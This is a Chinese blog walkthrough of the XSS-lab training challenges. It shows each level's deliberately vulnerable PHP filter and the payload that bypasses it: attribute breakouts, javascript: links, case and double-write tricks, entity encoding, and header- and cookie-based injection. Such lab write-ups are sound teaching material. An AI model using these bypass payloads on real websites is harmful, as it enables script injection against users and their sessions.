XSS-lab通过教程🐶

XSS-lab通过教程🐶

Level-1

payload:http://192.168.33.222:40577/level1.php?name=<script>alert(123)</script>

Level-2

  1. 我们随便输入123,查看闭合方式
    image

我们可以构造闭合input标签,如何加入script语句

payload:"><script>alert(123)</script>

Level-3

  1. 首先我们用第二关的payload去尝试,发现显示是一样的,但是没有执行我们的js代码

image

  1. 查看源码
<input name=keyword  value='".htmlspecialchars($str)."'>

我们发现使用了htmlspecialchars方法,它的作用是将特殊字符转换为html实体。那么什么是HTML实体呢?
说白了就是HTML为了防止特殊符号。例如:

特殊字符 转化后
& &
" "
< <
> >

这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur等,下面简单介绍一下关于鼠标事件的一些能引用js代码的函数:

属性 描述
onclick 当用户点击某个对象时调用的事件句柄
onmouseenter 当鼠标指针移动到元素上时触发
onmouseover 鼠标移到某元素之上

payload:' onclick ='javascript:alert(123)'//

注意:我们用的是点击事件,所以我们输入payload之后鼠标还得点击一下输入框才能触发代码

level-4

首先我们发现前端页面跟第2关一样,没什么区别,还是这样的
image

源码分析

# 我们可以看到首先接收参数,然后将<>都替换成了空
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword  value="'.$str3.'">

所有说我们的payload里面不能有<>这两个符号,<script>就不能用了,还是用第三关的payload,只不过闭合方式不一样,这一关是"

payload:" onclick='javascript:alert(123)'//

level-5

首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧

源码分析

# 获取输入的值,赋给$str变量
$str = strtolower($_GET["keyword"]);
# 将<script替换成<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
# 将 on 替换成 o_n
$str3=str_replace("on","o_n",$str2);
<input name=keyword  value="'.$str3.'">

这一关我们可以看到带有 <script>on 标签的都没法用了,那么onclick自然用不了了。我们可以尝试构造一个 a 标签,具体payload如下:

"></input><a href='javascript:alert(123)'>ads</a>

level-6

首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧

源码分析

# 替换了<script,on,src,data,href
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword  value="'.$str6.'">

虽说这一关过滤了上面这些字符串,但是我们可以换大写或者大小混写就可以绕过了,还是用第五关的payload:

"></input><a Href='javascript:alert(123)'>ads</a>

level-7

首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧

源码分析

# 将输入的字符全部替换成小写,然后将下面这些字符串替换成空
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword  value="'.$str6.'">

所以这一关我们就没法用大写或者大小混写绕过了,但是我们可以用双写绕过
payload:"><scriscriptpt>alert(123)</scriscriptpt>

level-8

首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧

源码分析

# 将输入的关键字替换成小写,然后过滤下面的字符串,最后进行html实体转义
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">

所以说这一关用不了 <script> 标签了,我们输入第二关的payload试试,然后查看网页源码发现

image

发现上面value的标签都被html实体化了,下面href里面的内容被替换了,那里就是我们输入的内容,我们直接输入javascript:alert(123)a标签的href属性中就可以触发xss,我们发现直接输入的话script会被_下划线隔开,所以我们进行html编码输入:

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level-9

首先我们还是拿第二关的payload测试一下,发现不一样的,现在变成输出指定的字符串了

image

居然说输入的不合法,那么我们输入一个合法的看看是什么样

payload:http://www.baidu.com

image

再加点东西动动手脚看看👻

payload:javascript:alert(123)//http://www.baidu.com

image

发现还是不行,被替换了,编码输入在看看

payload:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x32;&#x33;&#x29;//http://www.baidu.com

level-10

源码分析

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">

这个题跟前面的都不一样,首先查看源码发现了三个隐藏的input标签

image

那么我们根据他们的name构造传值,改变他们的type属性,看谁能显示出来,谁就能被输入,我们查看源码发现最后一位显示出来了。

t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//

payload:&t_sort=" type='text' onclick='javascript:alert(1)'>//

level-11

首先我们查看一下源码,发现又有四个标签隐藏了

image

还是一样的测试一下那个标签能够被显示出来,说明它能够接收数据

payload:

t_link=" type='text'%3E//&t_history=" type='text'%3E//&t_sort=" type='text'%3E//&t_ref=" typr='text'%3E//

发现还是t_sort,只不过">被过滤了,再仔细看看,发现上面t_ref的值咋变了,查看源码发现原来这个题的触发点在t_ref

源码分析

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

我们发现他是接收http头部的REFERER字段的值,然后经过过滤><之后插入了t_ref的值之中,所以我们抓包修改referer字段的值触发xss

payload:" type='text' onclick='javascript:alert(1)'>//

level-12

首先看看源码,发现又有四个隐藏标签

image

然后还发现t_ua居然有值,没猜错的话这个题触发点应该在uagent,我们看看源码

源码分析

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">

好的,看了源码之后,发现这个题跟第11关的区别就是这个题的触发点在Uagent,我们抓包传入payload:

" type='text' onclick='javascript:alert(1)'>//

level-13

首先看看源码发现又有四个隐藏字段

image

然后测试一下看哪个能够显示出来说明能够输入,我们发现t_sort被过滤了,然后就没有了

image

按这尿性,不用猜也知道这一关触发点肯定在t_cook,我们看看源码

源码分析

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">

果然触发点在cookieuser字段,不说了,直接抓包打payload

" type='text' onclick='javascript:alert(1)'>//

level-14

xswl,md一点头绪没有,上网一查题有问题,溜了溜了!🎈

level-15

不说了,先看一波源码

image

啥信息没看着,就看到个这个,上万能的百度搜一下,还真搜到用法了,包含外部html文件

image

话说包含外部文件传参点是啥,想不出来,再看一波源码原来是src

$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

说是包含外部html文件,那我们拿第一关的网址试试

image

发现<>被html实体化了,而且这一关没有任何点击的地方,所以我们只能用onerror方法,构造一个img标签,payload:?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'

level-16

源码分析

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("     ","&nbsp;",$str4);
echo "<center>".$str5."</center>";

我们发现过滤了script,空格,/,所以我们尝试加个a标签,空格用回车编码代替,点击图片过关
payload:<a%0D%0Aonclick='alert(1)'>

level 17

沃日,现在的浏览器版本太高了,估计这个<embed>标签都不支持了吧,显示不了。
后面17,18,19,20都是插件太老了,现在的浏览器都不支持了。

image

这是人家的17关,怎么跟我的不太一样好家伙!👻

image


posted @ 2022-01-13 18:02  胖三斤1  阅读(557)  评论(0编辑  收藏  举报
Live2D